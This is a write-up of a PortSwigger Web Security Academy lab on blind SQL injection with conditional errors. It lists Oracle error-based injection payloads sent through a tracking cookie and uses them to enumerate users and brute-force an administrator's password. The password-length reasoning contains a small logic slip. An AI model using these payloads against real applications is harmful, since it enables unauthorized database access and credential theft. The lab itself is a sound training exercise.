← Back to Writeups
PORTSWIGGERN/ASQL_injection

Blind SQL injection with conditional errors

XESXOR9/2/20264 min read
#sql_injection#portswigger#web-security-academy

Blind SQL injection with conditional errors

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab Blind SQL injection with conditional errors (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Solution :

Request looks like this

image

Query looks like the following

sql
SELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>'

Inducing error message -

  1. Add an extra ' symbol. We see that error appears because of incorrect ssql syntax
sql
SELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>''

image

  1. Add 2 extra ' symbol, we get a response back which indicates that the sql syntax is correct ('' indicates opening and closing of query & hence correct sql query)
sql
SELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>'''

image

Conform the reason for error is invalid SQL query -

  1. To do this, you first need to construct a subquery using valid SQL syntax. Try submitting: TrackingId=xyz'||(SELECT '')||'

image

In this case, notice that the query still appears to be invalid. This may be because the database used here is ORACLE & for that we need to specify a table called DUAL. Hence we got this error.

  1. Try specifying a predictable table name in the query: TrackingId=xyz'||(SELECT '' FROM dual)||'

image

We get a response without any error , we can confrom that it is an ORACLE database which requires all SELECT statements to explicitly specify a table name.

  1. To conform this we can give an invalid query by specifying some random table TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'

image

Hence confirmed.

Verify users table exist -

We can verify whether users table exist or not by the following command TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

image

No error -> implies that users table exist.

NOTE - Note that the WHERE ROWNUM = 1 condition is important here to prevent the query from returning more than one row, which would break > our concatenation.

Checking whether administrator user is present in db -

We can exploit this error inducing queries to test if admin user is present or not

  1. Set (1=1) ie. Condition is TRUE - TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

image

We receive an error. means the condition is TRUE so it threw an divide by 0 error

  1. Set (1=2) ie. Condition is FALSE - TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

image

We get a 200 response , means the condition failed and hence it returned nothing !

NOTE- This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The CASE statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions 1=1 and 1=2, and an error is received when the condition is true.

  1. We can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username administrator exists:
sql
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

image

It shows an error which means there is indeed a user called administrator

Determine the length of admin's password -

sql
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

RESPONSE -

  1. ERROR -> Condition is TRUE
  2. NUlll response -> Condition is FALSE

The length of password will be definitly > 1 , so we get an error.

image

AUTOMATE THIS by Burp Intruder , by adding password length (LENGTH>1) as payload .

From req 20, we get an error where condition is (LENGTH > 20)

image

This means that the password size is exactly 20 characters.

Bruteforce the admin's password -

sql
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,$1$,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Add the length of password & each letter to be bruteforced as payloads.

ATTACK TYPE - CLUSTER BOMB Payload 1 - Numbers Payload 2 - Bruteforcer

We get the 20 responses which returned a error.

image

Thus we got the admin's password - 8fysuozl95mngaem0abi

Now we can log in as administrator ,

image

Key Takeaways / Lessons

  • Understanding SQL_injection detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Blind SQL injection with conditional errors